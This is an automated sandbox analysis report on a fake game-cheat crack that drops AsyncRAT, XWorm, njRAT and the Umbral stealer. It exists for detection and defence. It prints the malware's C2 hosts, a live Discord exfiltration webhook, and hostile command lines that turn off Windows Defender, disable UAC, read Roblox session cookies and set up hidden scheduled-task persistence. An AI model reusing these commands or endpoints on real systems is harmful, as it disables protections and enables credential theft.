asyncrat | d51154dab49e7c3199cb9fd75aa5c7f9eb58ed74c8ea5eb40601ee484dc0b578

Analysis

max time kernel
30s
max time network
31s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
02-09-2024 09:18

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General

Target

neverlose crack.exe
Size

295KB
MD5

01cc2b2bcef2f12ab9a10905f999027d
SHA1

c62bb9b1532dc3f8638cc1ab5eb3b5f5185c2b40
SHA256

d51154dab49e7c3199cb9fd75aa5c7f9eb58ed74c8ea5eb40601ee484dc0b578
SHA512

025af3ae3fa059e364ef933cff47327436f08fb18379377caf7e71ced86f2c8adb4f56a79a643f3072c21b06e9e9b97f5945b9bdff1d29e798c6d9a5c3360d5c
SSDEEP

6144:DVOuy8Et9vsiTzIpoOhYyC8M4i7jyVvdOe4BWH5Y5/zu4cCGb19e:bFigGOTCz17jy9Yer6dzIpi

Score

10^/10

asyncrat njrat umbral xworm victim credential_access discovery evasion execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Victim

127.0.0.1:1504

127.0.0.1:44256

meeting-compound.gl.at.ply.gg:1504

meeting-compound.gl.at.ply.gg:44256

Attributes

delay
1
install
true
install_file
System.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

meeting-compound.gl.at.ply.gg:44256

Attributes

Install_directory
%AppData%
install_file
USB.exe

Extracted

Family

umbral

https://discord.com/api/webhooks/1273828074898718851/qR9eE6omxJxFL_jVry1J18IsVQ6bHhsk5rGr5VLxyO-92VJHyGPK43BBNMWtaUG56gE2

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

meeting-compound.gl.at.ply.gg:1504

Mutex

f8ff2d3def0ea5927a14148fb1c0ef4a

Attributes

reg_key
f8ff2d3def0ea5927a14148fb1c0ef4a
splitter
Y262SUCZ4UJJ

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral5/memory/2716-48-0x000001D3AF870000-0x000001D3AF8B0000-memory.dmp	family_umbral
behavioral5/files/0x000200000002ab53-47.dat	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral5/files/0x000400000002ab02-4.dat	family_xworm
behavioral5/memory/1312-40-0x00000000007C0000-0x00000000007D6000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral5/files/0x000600000002ab4a-16.dat	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3192	powershell.exe
4620	powershell.exe
3688	powershell.exe
4056	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
4700	attrib.exe
3176	attrib.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\f8ff2d3def0ea5927a14148fb1c0ef4a.exe	dllhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\f8ff2d3def0ea5927a14148fb1c0ef4a.exe	dllhost.exe

Executes dropped EXE 8 IoCs

pid	Process
1312	WizClient.exe
1044	INSTALLER1.exe
2716	Umbral.exe
4192	WmZWbh4b.exe
4104	Payload.exe
1552	System.exe
72	dllhost.exe
4672	$77svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\Exec\\$77svchost.exe\""	WmZWbh4b.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Software\Microsoft\Windows\CurrentVersion\Run\WizClient = "C:\\Users\\Admin\\AppData\\Roaming\\WizClient.exe"	WizClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Software\Microsoft\Windows\CurrentVersion\Run\f8ff2d3def0ea5927a14148fb1c0ef4a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\f8ff2d3def0ea5927a14148fb1c0ef4a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost.exe\" .."	dllhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
1	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	neverlose crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4812	cmd.exe
4164	PING.EXE

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
924	timeout.exe
960	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2728	wmic.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2136	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4164	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1780	schtasks.exe
876	schtasks.exe
1092	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2716	Umbral.exe
3192	powershell.exe
3192	powershell.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
4620	powershell.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
4620	powershell.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
1044	INSTALLER1.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe
4192	WmZWbh4b.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1312	WizClient.exe
Token: SeDebugPrivilege	2716	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3604	wmic.exe
Token: SeSecurityPrivilege	3604	wmic.exe
Token: SeTakeOwnershipPrivilege	3604	wmic.exe
Token: SeLoadDriverPrivilege	3604	wmic.exe
Token: SeSystemProfilePrivilege	3604	wmic.exe
Token: SeSystemtimePrivilege	3604	wmic.exe
Token: SeProfSingleProcessPrivilege	3604	wmic.exe
Token: SeIncBasePriorityPrivilege	3604	wmic.exe
Token: SeCreatePagefilePrivilege	3604	wmic.exe
Token: SeBackupPrivilege	3604	wmic.exe
Token: SeRestorePrivilege	3604	wmic.exe
Token: SeShutdownPrivilege	3604	wmic.exe
Token: SeDebugPrivilege	3604	wmic.exe
Token: SeSystemEnvironmentPrivilege	3604	wmic.exe
Token: SeRemoteShutdownPrivilege	3604	wmic.exe
Token: SeUndockPrivilege	3604	wmic.exe
Token: SeManageVolumePrivilege	3604	wmic.exe
Token: 33	3604	wmic.exe
Token: 34	3604	wmic.exe
Token: 35	3604	wmic.exe
Token: 36	3604	wmic.exe
Token: SeIncreaseQuotaPrivilege	3604	wmic.exe
Token: SeSecurityPrivilege	3604	wmic.exe
Token: SeTakeOwnershipPrivilege	3604	wmic.exe
Token: SeLoadDriverPrivilege	3604	wmic.exe
Token: SeSystemProfilePrivilege	3604	wmic.exe
Token: SeSystemtimePrivilege	3604	wmic.exe
Token: SeProfSingleProcessPrivilege	3604	wmic.exe
Token: SeIncBasePriorityPrivilege	3604	wmic.exe
Token: SeCreatePagefilePrivilege	3604	wmic.exe
Token: SeBackupPrivilege	3604	wmic.exe
Token: SeRestorePrivilege	3604	wmic.exe
Token: SeShutdownPrivilege	3604	wmic.exe
Token: SeDebugPrivilege	3604	wmic.exe
Token: SeSystemEnvironmentPrivilege	3604	wmic.exe
Token: SeRemoteShutdownPrivilege	3604	wmic.exe
Token: SeUndockPrivilege	3604	wmic.exe
Token: SeManageVolumePrivilege	3604	wmic.exe
Token: 33	3604	wmic.exe
Token: 34	3604	wmic.exe
Token: 35	3604	wmic.exe
Token: 36	3604	wmic.exe
Token: SeDebugPrivilege	3192	powershell.exe
Token: SeDebugPrivilege	1044	INSTALLER1.exe
Token: SeDebugPrivilege	1044	INSTALLER1.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeBackupPrivilege	884	vssvc.exe
Token: SeRestorePrivilege	884	vssvc.exe
Token: SeAuditPrivilege	884	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2500	wmic.exe
Token: SeSecurityPrivilege	2500	wmic.exe
Token: SeTakeOwnershipPrivilege	2500	wmic.exe
Token: SeLoadDriverPrivilege	2500	wmic.exe
Token: SeSystemProfilePrivilege	2500	wmic.exe
Token: SeSystemtimePrivilege	2500	wmic.exe
Token: SeProfSingleProcessPrivilege	2500	wmic.exe
Token: SeIncBasePriorityPrivilege	2500	wmic.exe
Token: SeCreatePagefilePrivilege	2500	wmic.exe
Token: SeBackupPrivilege	2500	wmic.exe
Token: SeRestorePrivilege	2500	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1312	WizClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3700 wrote to memory of 1312	3700	neverlose crack.exe	82
PID 3700 wrote to memory of 1312	3700	neverlose crack.exe	82
PID 3700 wrote to memory of 1044	3700	neverlose crack.exe	83
PID 3700 wrote to memory of 1044	3700	neverlose crack.exe	83
PID 3700 wrote to memory of 2716	3700	neverlose crack.exe	84
PID 3700 wrote to memory of 2716	3700	neverlose crack.exe	84
PID 3700 wrote to memory of 4192	3700	neverlose crack.exe	85
PID 3700 wrote to memory of 4192	3700	neverlose crack.exe	85
PID 3700 wrote to memory of 4104	3700	neverlose crack.exe	86
PID 3700 wrote to memory of 4104	3700	neverlose crack.exe	86
PID 3700 wrote to memory of 4104	3700	neverlose crack.exe	86
PID 2716 wrote to memory of 3604	2716	Umbral.exe	87
PID 2716 wrote to memory of 3604	2716	Umbral.exe	87
PID 2716 wrote to memory of 432	2716	Umbral.exe	90
PID 2716 wrote to memory of 432	2716	Umbral.exe	90
PID 2716 wrote to memory of 3192	2716	Umbral.exe	92
PID 2716 wrote to memory of 3192	2716	Umbral.exe	92
PID 2716 wrote to memory of 4620	2716	Umbral.exe	94
PID 2716 wrote to memory of 4620	2716	Umbral.exe	94
PID 2716 wrote to memory of 3688	2716	Umbral.exe	96
PID 2716 wrote to memory of 3688	2716	Umbral.exe	96
PID 1044 wrote to memory of 2676	1044	INSTALLER1.exe	98
PID 1044 wrote to memory of 2676	1044	INSTALLER1.exe	98
PID 1044 wrote to memory of 2916	1044	INSTALLER1.exe	99
PID 1044 wrote to memory of 2916	1044	INSTALLER1.exe	99
PID 2916 wrote to memory of 924	2916	cmd.exe	102
PID 2916 wrote to memory of 924	2916	cmd.exe	102
PID 2676 wrote to memory of 1092	2676	cmd.exe	103
PID 2676 wrote to memory of 1092	2676	cmd.exe	103
PID 2716 wrote to memory of 1564	2716	Umbral.exe	104
PID 2716 wrote to memory of 1564	2716	Umbral.exe	104
PID 1312 wrote to memory of 1780	1312	WizClient.exe	106
PID 1312 wrote to memory of 1780	1312	WizClient.exe	106
PID 2716 wrote to memory of 2500	2716	Umbral.exe	110
PID 2716 wrote to memory of 2500	2716	Umbral.exe	110
PID 2716 wrote to memory of 848	2716	Umbral.exe	113
PID 2716 wrote to memory of 848	2716	Umbral.exe	113
PID 2716 wrote to memory of 1012	2716	Umbral.exe	115
PID 2716 wrote to memory of 1012	2716	Umbral.exe	115
PID 2716 wrote to memory of 4056	2716	Umbral.exe	117
PID 2716 wrote to memory of 4056	2716	Umbral.exe	117
PID 2716 wrote to memory of 2728	2716	Umbral.exe	119
PID 2716 wrote to memory of 2728	2716	Umbral.exe	119
PID 4192 wrote to memory of 4700	4192	WmZWbh4b.exe	121
PID 4192 wrote to memory of 4700	4192	WmZWbh4b.exe	121
PID 4192 wrote to memory of 3176	4192	WmZWbh4b.exe	123
PID 4192 wrote to memory of 3176	4192	WmZWbh4b.exe	123
PID 2716 wrote to memory of 4812	2716	Umbral.exe	125
PID 2716 wrote to memory of 4812	2716	Umbral.exe	125
PID 4812 wrote to memory of 4164	4812	cmd.exe	127
PID 4812 wrote to memory of 4164	4812	cmd.exe	127
PID 2916 wrote to memory of 1552	2916	cmd.exe	128
PID 2916 wrote to memory of 1552	2916	cmd.exe	128
PID 4104 wrote to memory of 72	4104	Payload.exe	129
PID 4104 wrote to memory of 72	4104	Payload.exe	129
PID 4104 wrote to memory of 72	4104	Payload.exe	129
PID 72 wrote to memory of 296	72	dllhost.exe	130
PID 72 wrote to memory of 296	72	dllhost.exe	130
PID 72 wrote to memory of 296	72	dllhost.exe	130
PID 72 wrote to memory of 2240	72	dllhost.exe	132
PID 72 wrote to memory of 2240	72	dllhost.exe	132
PID 72 wrote to memory of 2240	72	dllhost.exe	132
PID 72 wrote to memory of 876	72	dllhost.exe	134
PID 72 wrote to memory of 876	72	dllhost.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
432	attrib.exe
4700	attrib.exe
3176	attrib.exe
296	attrib.exe

C:\Users\Admin\AppData\Local\Temp\neverlose crack.exe
"C:\Users\Admin\AppData\Local\Temp\neverlose crack.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3700
- C:\Users\Admin\AppData\Local\Temp\WizClient.exe
  "C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WizClient" /tr "C:\Users\Admin\AppData\Roaming\WizClient.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1780
- C:\Users\Admin\AppData\Local\Temp\INSTALLER1.exe
  "C:\Users\Admin\AppData\Local\Temp\INSTALLER1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA345.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:924
  - - C:\Users\Admin\AppData\Roaming\System.exe
      "C:\Users\Admin\AppData\Roaming\System.exe"
      4⤵
      Executes dropped EXE
      PID:1552
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3604
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:848
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4056
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2728
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4164
- C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
  "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:4700
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFB09.tmp.bat""
    3⤵
    PID:1044
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:960
  - - C:\Users\Admin\Exec\$77svchost.exe
      "C:\Users\Admin\Exec\$77svchost.exe"
      4⤵
      Executes dropped EXE
      PID:4672
- C:\Users\Admin\AppData\Local\Temp\Payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Users\Admin\AppData\Local\Temp\dllhost.exe
    "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:72
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:296
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn CleanSweepCheck /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2240
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn CleanSweepCheck /tr C:\Users\Admin\AppData\Local\Temp\dllhost.exe
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:872
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2136

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6bddc96a32b9ed8fc70b141ccf4a39b2

SHA1
0f33c0699da40a5eadcec646791cf21cdb0dd7c6

SHA256
cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

SHA512
e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
57083a8e45ebe4fd84c7c0f137ec3e21

SHA1
857b5ea57f7bcf03cadee122106c6e58792a9b84

SHA256
f20102c4dc409cad3cdaf7a330c3a18a730a9d7d902b9fbee2a84186cba93d40

SHA512
4bbc21c07c05ee1f783242f0fb59324d5ff9ae18bdf892f02980d582fed83380888eeba58e1a6a321507cfd5d4fe82a328a0d3482b29633be4e3ebbeac636f87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38ecc5b95c11e5a77558753102979c51

SHA1
c0759b08ef377df9979d8835d8a7e464cd8eaf6b

SHA256
2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

SHA512
9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
